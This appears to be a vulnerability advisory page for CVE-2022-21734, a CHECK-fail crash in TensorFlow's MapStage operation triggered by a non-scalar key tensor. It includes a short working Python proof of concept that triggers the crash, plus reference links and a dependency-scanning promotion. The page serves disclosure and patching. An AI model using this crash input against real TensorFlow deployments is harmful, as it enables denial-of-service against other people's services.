CVE-2022-21734: `CHECK`-failures in Tensorflow
(updated )
The implementation of MapStage is vulnerable a CHECK-fail if the key tensor is not a scalar:
import tensorflow as tf
import numpy as np
tf.raw_ops.MapStage(
key = tf.constant(value=[4], shape= (1,2), dtype=tf.int64),
indices = np.array([[6]]),
values = np.array([-60]),
dtypes = [tf.int64], capacity=0, memory_limit=0,
container='', shared_name='', name=None
)
References
- github.com/advisories/GHSA-gcvh-66ff-4mwm
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2022-58.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2022-113.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/map_stage_op.cc
- github.com/tensorflow/tensorflow/commit/f57315566d7094f322b784947093406c2aea0d7d
- github.com/tensorflow/tensorflow/security/advisories/GHSA-gcvh-66ff-4mwm
- nvd.nist.gov/vuln/detail/CVE-2022-21734
Code Behaviors & Features
Detect and mitigate CVE-2022-21734 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →